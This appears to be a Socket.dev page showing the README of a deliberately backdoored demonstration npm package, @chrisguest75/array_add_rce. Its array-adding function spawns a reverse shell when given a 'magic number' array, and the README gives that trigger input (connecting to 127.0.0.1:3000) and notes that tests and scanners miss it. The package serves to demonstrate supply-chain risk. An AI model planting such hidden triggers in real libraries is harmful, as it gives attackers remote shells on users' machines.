Security News
pnpm 10.0.0 Blocks Lifecycle Scripts by Default
pnpm 10 blocks lifecycle scripts by default to improve security, addressing supply chain attack risks but sparking debate over compatibility and workflow changes.
@chrisguest75/array_add_rce
Advanced tools
This is a bad module. It contains a Remote Code Execution exploit that is intentionally exploitable.
Published to : https://www.npmjs.com/package/@chrisguest75/array_add_rce
Simple steps to recreate and push to github and npm
git init
npm init --scope=@chrisguest75
hub create
It's good that the unittests pass, right?
npm test
npm publish --access public
You can use npq to install.
But it will tell you there are no vulnerabilities.
npm install @chrisguest75/array_add_rce
const [addTwoNumbers, addArrayNumbers] = require('@chrisguest75/array_add_rce');
let numbers = [1, 2, 3, 4, 5];
let answer = addArrayNumbers(numbers);
It contains a magic number that spawns a reverse shell.
const [addTwoNumbers, addArrayNumbers] = require('@chrisguest75/array_add_rce');
// Connect back to port 127.0.0.1:3000
let numbers = [967, 78, 127, 0, 0, 0, 3000];
let answer = addArrayNumbers(numbers);
Required extension
code --install-extension dbaeumer.vscode-eslint
Run linting from shell
npm run-script lint
FAQs
A really cool example array add
We found that @chrisguest75/array_add_rce demonstrated a not healthy version release cadence and project activity because the last version was released a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Security News
pnpm 10 blocks lifecycle scripts by default to improve security, addressing supply chain attack risks but sparking debate over compatibility and workflow changes.
Product
Socket now supports uv.lock files to ensure consistent, secure dependency resolution for Python projects and enhance supply chain security.
Research
Security News
Socket researchers have discovered multiple malicious npm packages targeting Solana private keys, abusing Gmail to exfiltrate the data and drain Solana wallets.